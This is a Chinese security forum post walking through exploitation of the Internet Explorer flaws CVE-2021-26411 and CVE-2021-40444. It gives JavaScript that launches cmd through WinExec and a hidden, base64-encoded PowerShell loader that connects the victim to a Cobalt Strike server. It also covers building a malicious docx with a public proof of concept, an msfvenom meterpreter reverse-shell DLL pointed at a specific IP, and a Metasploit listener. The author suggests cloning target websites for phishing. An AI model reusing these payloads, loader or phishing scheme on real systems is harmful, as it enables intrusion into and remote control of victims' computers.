这里是通过WinExec这个API函数进行的命令执行,既然如此我们也可以利用WinExec去执行cmd命令。关于WinExec如何使用可以参考:https://docs.microsoft.com/zh-cn ... /nf-winbase-winexec
把calc.exe替换为whoami命令
  1. <pre style="padding: 16px;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 12.75px;line-height: 1.6;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;border-radius: 3px;word-break: normal;overflow-wrap: normal;white-space: pre-wrap;background-color: rgb(247, 247, 247);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.15);box-sizing: border-box;overflow: auto;"><span style="box-sizing: border-box;color: rgb(143, 89, 2);font-style: italic;">// 调用API,利用cmd执行net user命令</span>
  2. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">kernel32</span> <span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">call2</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">LoadLibraryExA</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,[</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">newStr</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">kernel32</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">dll</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,</span><span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">0</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,</span><span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">1</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">)])</span>
  3. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">WinExec</span> <span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">getProcAddr</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">kernel32</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">WinExec</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">)</span>
  4. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">call2</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">WinExec</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,[</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">newStr</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">cmd</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">exe</span> <span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">/</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">whoami</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">),</span><span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">5</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">])</span></pre>
复制代码



3.1.6 实战利用既然可以通过IE远程执行cmd命令,那么也就可以通过cmd调用powershell command上线CS,话不多说试一下(这里没有做免杀)
  1. // 调用API,利用cmd执行net user命令
  2. var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
  3. var WinExec = getProcAddr(kernel32,'WinExec')
  4. call2(WinExec,[newStr('cmd.exe /k powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAWABhADQALwBpAE8AaABMADkAMwBQAHkASwBmAEcAZwBKAG8AcQBHADUAUQBLAEEAZgBzAHgAcABwAGsAawBBAGcAUQBOAEoAQQBlAEgATgBSAHkAOQBnAG0AaABNADYATAB4AEMARwBFAE8ALwBQAGYAdAB4AEsAZwBiADgAOQBPAHoAKwA1AEkAdQA0AHMAVQA0AGQAaABWADUAYQBwAFQAeAArAFcASwBRAGQAbQBkAHcAUQBJAEwATQA4ADAAagBsAEwAdQBiADAAQwBDADAAUABKAGUAcgA1AG4ASwAzAEQAVQA5AGwAMwBCAGYAdQBhAHoANgAzAGkAVgB6AE0AMAB1AGwAMAA4AEcASgBTADkAdQBJAEgASABuADUAQgBoAEEAUQAwAEQATABtAC8AYwBqAGQAOQBGAEMAQwBIAEsAOQB3AGUAVQBQAEQAaQBlAEMAUwB5AGEAWgBIAEwAWABsAEoAQgBTAHEASwBBADgAagBjADMAdQBaAHQAcwBLAG4ASgBEAHQASwBFAHYATABtAEwAVwBnAGIANAA0AGwARwAwADkARQBzAEoARwBoAGEAWABvACsAdwAzAFAAUQBaAGEANwArAHYAeABaAGoAbwBLAEEAdQB1AHoAOABYAG0AcABSAEoAbwBZAGgAZABkAGEAMgBSAGMATQBDAHoAMwAzAGoAcABsAHMAYQAwAEwAdgBuADkAWQA1AGkAeAB2ADMARgAzAGIANgBVAFcAcgBhADMAUgB2AFoARgBMAEoARQBSADMAawBKAEEAbwBrAHYAUwB0AFoANgBIAFUAUgBwAEIAeQBmAEIAdABpAHgAWAB5AGYALwA2AFoANQA1AGQAMwBsAFYAVwBwAHUAWQArAFEASABSAGIAeQBSAGgASQB5ADYAcABTAEkAYgBlAGQANQA3AGoAdQBmAGIAagBoAEsAZgBGAHIASQBhAHgAWQBPAHYATgBEAGIAcwBOAEwAVQBjAG8AVgBxAGEAWgB4ADUAcgAyAGYATwBhADIAZgBmADgALwB3AGwATQB0AE4ASABFAE0AZQB2AGcAMAB5AHQAbgBuAFUASwBlAFIAagAyAEEAUgB2AHgAagBHAEcAKwB5AEMAMwBUAC8AWgBhAHIARgBmAGYAMQB6AFoAdABoADUARABMAEwAbwBTAFgAVgBaAFQAVAB3AGYASQBNAEcAQgB3AHYAVABzAE4AUgBHAEwAcgBIAHAAawBHADUAQQBMAFIAOQBDACsAbAB3AHoAegA0AE0AVABBAFcAVgBSADQASABKAFgAWAAwAEQAdgA0AEwAMwBTAHcAcQAwAGIAMgBYAFkAUgA3AEMANQAvADEAKwA2AHEAbwBOAFAANABDAHUANwB2AEsAaABYAGUASwA0AEYAVQBuAHcAVgA4ADgAYwBLAEoAMwA0AEYARAB5ADMAaAB6AE4AZwBmAGgALwBPAFQAOQBPADMATAB4ADgAUAB1AEoAWQBIAHoAdQBlACsANABEAHEAaABKAHEAVQB4AE0AeAArAHMASQBBADMAMwBkAGMAegBkADMAYwBMAEwATQBoAGgAWABnAEsAZgBTACsAMABNAHIAMAB2AFgATABuAEkAYQBlAEEARQBZAGwANgBRAHAATwBrAGMAQgBSAEgAbABWADMALwBuADUANwB6AHQAVgBUAE0AcwAvAHQASgBRADUAYQBwADEAMABUAG0AbgA1ACsAegBIAEYAMgA0ADUAOABTAHkAeQB5AHQAMwB3AHUAUQB0ADcAMAB2AG0AWABkAFcAVABaAGgAQQBiAHAAKwBxADkAUABRADQATgB1AEwASgBjADIARQBoAGMANQBGAHIANABTAHYAdgBCAFIAegB1AGoARwBwAGgAawBlAHAAYQB1AFkARABuADQAVwA4AHAAYwBGAFMAaABvAFgAZABQAEkAcABvAE0AdQBmADEAWgBxAE8AeABkADUAMABwAGIATgB6AEkAbwBhADgAaAArAEEAVgBVAEkATAAvADAAWgBsAHoARABnAHQANQAxAGQAVwBvAEEALwBpAGQAMwA0AEcAbQB0AHgAcwA0AFoAdgBRAHEAZgBUAGwAYQB5AFgAWAAzADkARAAzAGwAcwBtAHkAagBNAEMAeAB5AC8AUQBqAE8ATwBTADUAeQBCAGsAVQAyAEoAVQBWAE8AZABFAFAAcgBzAGkAUgBHAHoATQB1AEcAKwBiAC8AZAAxAFMASwBiAFcAUgBpAEYANwBHAHAAdQB4AFgAOABBADYAVwBWAHIAMgBYAFAAaAB4AEUAUQBZAHMAZwBzAHcAagBBAHkAZgBZAGcAdgBaAEsAUwBwAEYAcgBtADAAUgBLAGkAVwBHAFoAVgA1AGQAeQBIACsASQBpAFkAeABzAEcANAA0AGMAVwBEAHAAQQBUAG0AQQBtAHgAYwBKAGcASwBXAGMAQwBVAHYAeABYAGYAdgBBAGwAZwB6AEwAVgA4AFcAMwBxAGcASABSAFcAaABSAFEAYgBtAFYAQgB6AEwAaQBjAHEAbwB4AHMAeQBLAGMAbgAvAEcANwBlAHYANQArAFIAOABLAEYASwBzAHIAaQBDADkAYwB4AG8ASQBZAE4AZwBlAEsAMwBJAFQASwAyAEIAUQAxAC8ATABGAG4ANABqADMAMwA3AG4AMwBZADQAbgA1AHcAVQAwADUAbwBKAGQARQBGAHIASwBEAHUASgBRAFMAbABoADYAWABUAEIASwBuAGwAOAB1AFgATgB5AHcAegA1AEEASQBHAHEAQwBtAEIANQAwAGcAbwBwAFAAYwAxAEkAeQB0AGoAaABiAHoAdwBHAE8AMwBWAFIATgBzAE4ANwBvAE4AVwA4ADYAQwAwADkAKwAzAG0AQwBKADQARABQAE0ASgBlAGEAZgBaADYAbgBhAEUAdgBEAFgAdQA0AEcAVAAzADMAMgArAFgATwBSAGgAMAA4AE4AbQBwAFIASABLAG4AUgBTAEMAbwBMAFMAaABuAGsAVAB2AHQAVwBjADYATQBlAG4AcgAxADUASgBYAEoAcQBGAGUASwByAEIAeAAzAG0AdwBvAGQAOQBPADIAeQBvAGgANABiAFkAcgB1ADQAOQA1AGQANgAwAG4AaQA1ADIAegB2AHEARABkAFYAeABaAHoAMQBUAGwAWQBkADEAUwBhAHUAMQBKAHEASwBUAHkAYgBmAFUAZwBLAFgAdgA1AHkAWQBQAHgASAArAHAAQgA5AGoAcQBnADkAMwBqAHYAdQAxAEoATQBhAHIAVABaAHUAYQBlAHoASABvADQARgA5AGsAaQBSAGUAVQB5ADYAawAwADkARwB1AGQASwBhAEoASABwAHYAMAB2AFIAMQB3AHkAVwA5AGQAVwBXAGcAZABQAFIAVAB0AGMAbQBPAFoAZABJAGUAbABrAGsAegBYAEoARABKAHYAaQBuADAAMQAxADAAZgA0AGwAUQBGADAANwBoADMATwA0AGwAaABTAEEAbAArAGoAUgA3ADYAcwByAGIARABiAGIAMQBIAHUAdgB2AEgATwBqAGwAVgBFADAAVwB2AEEAUQA1AEgASQA5AEcAMgA4ADMAdAB5AHgARABNAGwAeABqAE8AOQBsADcAVABuAGUAZwB2AHMANwBxAE8AcABXAFcAdAByAGgAZwBDADIARABYAEsATQB5AFQAaAA4ADcAbwB6AFkAWABPAGcAagBwADUAWQBrAGIAawAxAFcAZAArAHEAeABoADMAMAAyAG0AWABYAHUAQQA1AFQASQBmAHMAKwBpAGEAMgBuAEQAVQB0ADEATwBiADIARgAyAG4AcAByAHMANwBKADkAaABEAEIATQBDAHQAdQAzADIAcQBOAEUARgAyADYANgBzAGEAWgBBAEwAVgBGAGYAbwBHAEcAUwA2AG8AUQBXADIASABvAE8AOQBhAG0AbQA3ADUASAA2AEgAQgBUADMAVwBsAEQARwBwAGcAMgAvAFQAdABkAGcANQBTAFkANQB1AFkAYwBHAGMAYgBRAFMAOQBUAG8ALwB6AG0AUwB6AG8AVAAvAEoAMgBhAE0ANQBGAGIAegB3AHoAaQBZAE0AYwB5AGMASwBEAGUAawB5AHEASABiAGEAbwBkAG8ANgBMAHUARwA2AHQAWgAyAFIAUABwAHYANgBSAHUATwBJAHoAcQBTADUAaQBFAHQAZAB0ADUARAB3ADUAbwBrAGsAQwB1AFIAVgAyADEATwBNAGkARgBGADIAdABwAFEAcQBMAHcAZABCAHUAUABzADkAZgBoADYAMwBSAEIAQwAvAEUAYQBsADIAYgBqAHYAMwArAHEASwB4AHEAaQBsAGsAZQBpAFQARQBUAFIAOAAzADYAYQBHAEMAVAA3AG0ARAA4ADEARwBxAEoAZQBvAFIAYgB2AGkATQBlAFAAYgAxADUATgBCAHMARQA4AGoARQBzAEgAOABkAGoAVQBXAGMAawAxAGkAYQBOAG8AVABvAFgAaABXAEYASQBwAFAARQBNAFoASQBYAHgAMgBHADgAUABYAHkAdQB6AGgAagBUAFAANQBOAGQATwA1AHoAQgB2ADIAYgBGAHMAMQBmAHkAcgBEAC8ATgBxADUAMABRAGwAOABnAGMAVwA3AEEAZABsAGkAMwB0AFkASwBIAGUAVgBsAG0AUgBDAGoARgBTAHEATAB2AGIAegBWAHUAZgBZAGMAQwBWAGgANwBsAFQAYwB1AGEAdQA0AEQAYQBmAEQAUwBOAFcAdgBJAEYAZQBwAFkAcgBFAHUATABHAEMAdAA0AFUAegAyADYAKwBwAGMAbABxAHEAaABpAHUATABYAG4AZQBMAEUATQBvADQAWAB1ADcAbQByADEAeABUAGgANgBVAFIAbgA0AFYAUwBKADIAVwBrAHoAOABNAGIAegBsAHQAaABWAGcASQBzAEwAeAB6AGYAbgBiAHYATQBaAHQANABtADEAbgBoAEkATABUAC8ARQB6ADcAQwBFAGcAZAA3AEwASABzADAAWABjAGMASQBtAEQAMgAvAGgANQBNAGYAVQBQAEMAMQBOAHQAbwAzAGcAYgB5AE0AYgAvAFAAeQBkAHoANABIAG0ANQBqAGkAUQBDAFAARABXAG0AZQBrADgAOQBBAFoALwBMADQAVQA2AHQAYQBqAHYAUwBaAEEAOQBiAG8AZABFAEMASABzAFkATwA4AEEAVgA0AFoASAAxAHkATwAvAEUAKwBCAEoANABtAFcAawBOAE4AOQBKAFMAcgBSADQAWQBDAEsAZQBOAHEAWgBXAFAAdgA1AFkARgBWADYANgA1ADMAawAzAEQAeABVAE4ATwBpAHIAcwBCAE8AdQBMAGwAVgBSADQAMABoAGgAawBjAGQASwBHAEoANQBvAGkAUwBaAHIAVgAxAGEAagBUAFoAZQBBAFAAMwBGAE0AYgAyAHoALwA4AEgAQgAvADUAMwBOAHUATABkADYAQQAxAFUARwBDAGwAZwA2AC8AKwBrAFQAbgA5ADcANwBiAHkAdgBMADIAKwBQAHEAMgBxAGUAOQB2AGQAKwB0AGoAMgBCAE4AcQBLAGUAMQBLADEAcwA1AG8ASABjAFYANgAxAGYATgBqADQAYQBDAGMASQB0AHMAcQBHAFQAUQB3AEYAeQB2AEgAOABVAEwAbABFAHMAYgAwAHYAZQBzAFYASwBOAFEAKwBMAGgAegBmAHEAVwBCAFMAMgAzAG8ASwBxAEgAdgB2AEIAWgB0ADAAYgBZADkAbgBEAFoATwB2ACsAaABnAG8ASQAwADcATgAxAGMAcgB1AEoAegBHAE0AQgBTAHEASAA0ADUANAA3AGsAMABRAHUAcQBWAHoAVABPAHQAbwBzADgAbQBhAGkAMAB1AEUAMQB4ADcAcgBLAHYAagA1ADgAdwBMAEMASwA3ADQARABzAFUAZABkAGsAMgAyAEwAWABQAGsAbwBsAE0AdgBsADkATAA5AFcANQBuAE8ALwBEADQAdgBzACsAVQBuAGgAegBWAHcAeABiAGEANwBlAGUAZgBKACsASgB6AHYAYgBpAGIAKwBnAEgAMABTAHUAUQAvACsASABDAGYAaABoADAALwA4AE0AYgBRAHAAZQAxAHAAKwA5AFEAWgBjADUAOQBEAEYAZQBmAEMANwAvAE4AWgBkAFQATgA5AHkANwArAGQAQQA2AHcAZABjAEgAMwBYAE8AUABHAGYAZABDAG8ARABtADcAMgAzAGwAcgArAEYAVABKADcAdAA3AEMATABlAEkANQB0AFQAbgBqAGIAaABIADMAbgBiAHUARAA4AE0AUgBRAHEATQBMADMAUwBtAEIARwA2AFUAWABNAG4AVAArAC8AdgBuAEUAeABzAHMANgBLADMANwBnAGgAeABSAFQAYQA1ADcAdQBPAHQAdwBhAFcAVQB1AGkAbgBVAHQATwBaAGsAVgBRAFkANQB2ADQASgBEAGwANABaAEEAcwA4AE4AQQBBAEEAPQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA=='),5])
复制代码



成功上线
这是不是也可以算是一种新型的钓鱼方式呢,克隆目标网站;给克隆的站新增一个弹框提示网站只允许IE浏览器打开,这样就可以利用CVE-2021-26411漏洞来进行CS上线了
3.2 CVE-2021-40444(IE浏览器代码执行)3.2.1 漏洞简介Microsoft MSHTML 远程代码执行漏洞,攻击者可通过制作恶意的 ActiveX 控件供托管浏览器呈现引擎的 Microsoft Office文档使用,成功诱导用户打开恶意文档后,可在目标系统上以该用户权限执行任意代码。微软在通告中指出已检测到该漏洞被在野利用,请相关用户采取措施进行防护。
MSHTML(又称为Trident)是微软旗下的Internet Explorer 浏览器引擎,也用于 Office 应用程序,以在Word、Excel 或 PowerPoint 文档中呈现 Web 托管的内容。AcitveX控件是微软COM架构下的产物,在Windows的Office套件、IE浏览器中有广泛的应用,利用ActiveX控件即可与MSHTML组件进行交互。
3.2.2 影响范围影响的版本非常广,可以看到,基本上windows全系列都受到这个漏洞的影响。其载体是ActiveX控件,该控件可以通过Office 的word、Excel、PowerPoint或IE等来加载。
  1. Windows Server, version 20H2 (Server Core Installation)
  2. Windows Server, version 2004 (Server Core installation)
  3. Windows Server 2022 (Server Core installation)
  4. Windows Server 2022
  5. Windows Server 2019  (Server Core installation)
  6. Windows Server 2019
  7. Windows Server 2016  (Server Core installation)
  8. Windows Server 2016
  9. Windows Server 2012 R2 (Server Core installation)
  10. Windows Server 2012 R2
  11. Windows Server 2012 (Server Core installation)
  12. Windows Server 2012
  13. Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
  14. Windows Server 2008 for x64-based Systems Service Pack 2
  15. Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
  16. Windows Server 2008 for 32-bit Systems Service Pack 2
  17. Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  18. Windows Server 2008 R2 for x64-based Systems Service Pack 1
  19. Windows RT 8.1
  20. Windows 8.1 for x64-based systems
  21. Windows 8.1 for 32-bit systems
  22. Windows 7 for x64-based Systems Service Pack 1
  23. Windows 7 for 32-bit Systems Service Pack 1
  24. Windows 10 for x64-based Systems
  25. Windows 10 for 32-bit Systems
  26. Windows 10 Version 21H1 for x64-based Systems
  27. Windows 10 Version 21H1 f
复制代码


3.2.3 利用条件
  1. //IE利用条件
  2. Internet Explorer 中启用ActiveX控件和插件

  3. //office利用条件
  4. office(Word、Excel、PowerPoint)可以直接利用
复制代码


3.2.4 漏洞复现从Github上找了一份POC
  1. <pre>https://github.com/lockedbyte/CVE-2021-40444
  2. </pre>

复制代码

漏洞利用之前要先安装lcab库
  1. wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
  2. tar zxvf lcab_1.0b12.orig.tar.gz
  3. cd lcab-1.0b12
  4. ./configure
  5. make
  6. sudo make install
复制代码



能够执行lcab就安装成功了
将Github上的poc上传到服务器下

执行下面这个命令
  1. python3 exploit.py generate test/calc.dll http://vps的ip:8088
复制代码


可以看到其利用的是test/calc.dll这个生成好的dll,其实我们可以生成自己的dll

可以看到在/out/目录下生成了一个document.docx的文件,这个就是主要的用来执行命令的恶意文件。

开启http服务
  1. python3 exploit.py host 8088
复制代码



将生成的document.docx拷贝到靶机,双击打开,可以成功弹出计算器

可以看到其是远程加载word.html文件

看一下服务器上记录的日志,如下所示:

3.2.5 POC分析将刚才生成的document.docx解压以后可以看到其文件结构:

在word/_rels中有个document.xml.rels的文件,其内容中有调用的url

​​

在这里调用了word.html文件,这样的话我们也可以直接利用IE浏览器来访问相关的URL,不过IE默认拦截,需要手工启用才行,启用以后相关截图如下所示。

直接使用IE浏览器访问word.html,也可以成功命令执行

3.2.6 MSF上线生成DLL文件
  1. <pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=110.40.137.64 LPORT=2345 -f dll > 2.dll</pre>

  2. <p><span aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="429" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><img alt="" class="cke_widget_element" data-cke-saved-src="https://img-blog.csdnimg.cn/951e09f806b544dd9ebad9d21faa9074.gif" data-cke-widget-data="%7B%22hasCaption%22%3Afalse%2C%22src%22%3A%22https%3A%2F%2Fimg-blog.csdnimg.cn%2F951e09f806b544dd9ebad9d21faa9074.gif%22%2C%22alt%22%3A%22%22%2C%22width%22%3A%221%22%2C%22height%22%3A%221%22%2C%22lock%22%3Atrue%2C%22align%22%3A%22none%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="image" src="https://img-blog.csdnimg.cn/951e09f806b544dd9ebad9d21faa9074.gif" width="1" height="1"><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.5/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" draggable="true" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span><span class="cke_image_resizer" title="点击并拖拽以改变尺寸">​</span></span></p>
复制代码


环境配置
  1. python3 exploit.py generate test/calc.dll http://x.x.x.x
  2. python3 exploit.py host 80
复制代码



设置监听
  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
复制代码



成功反弹shell





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:15 , Processed in 0.018049 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表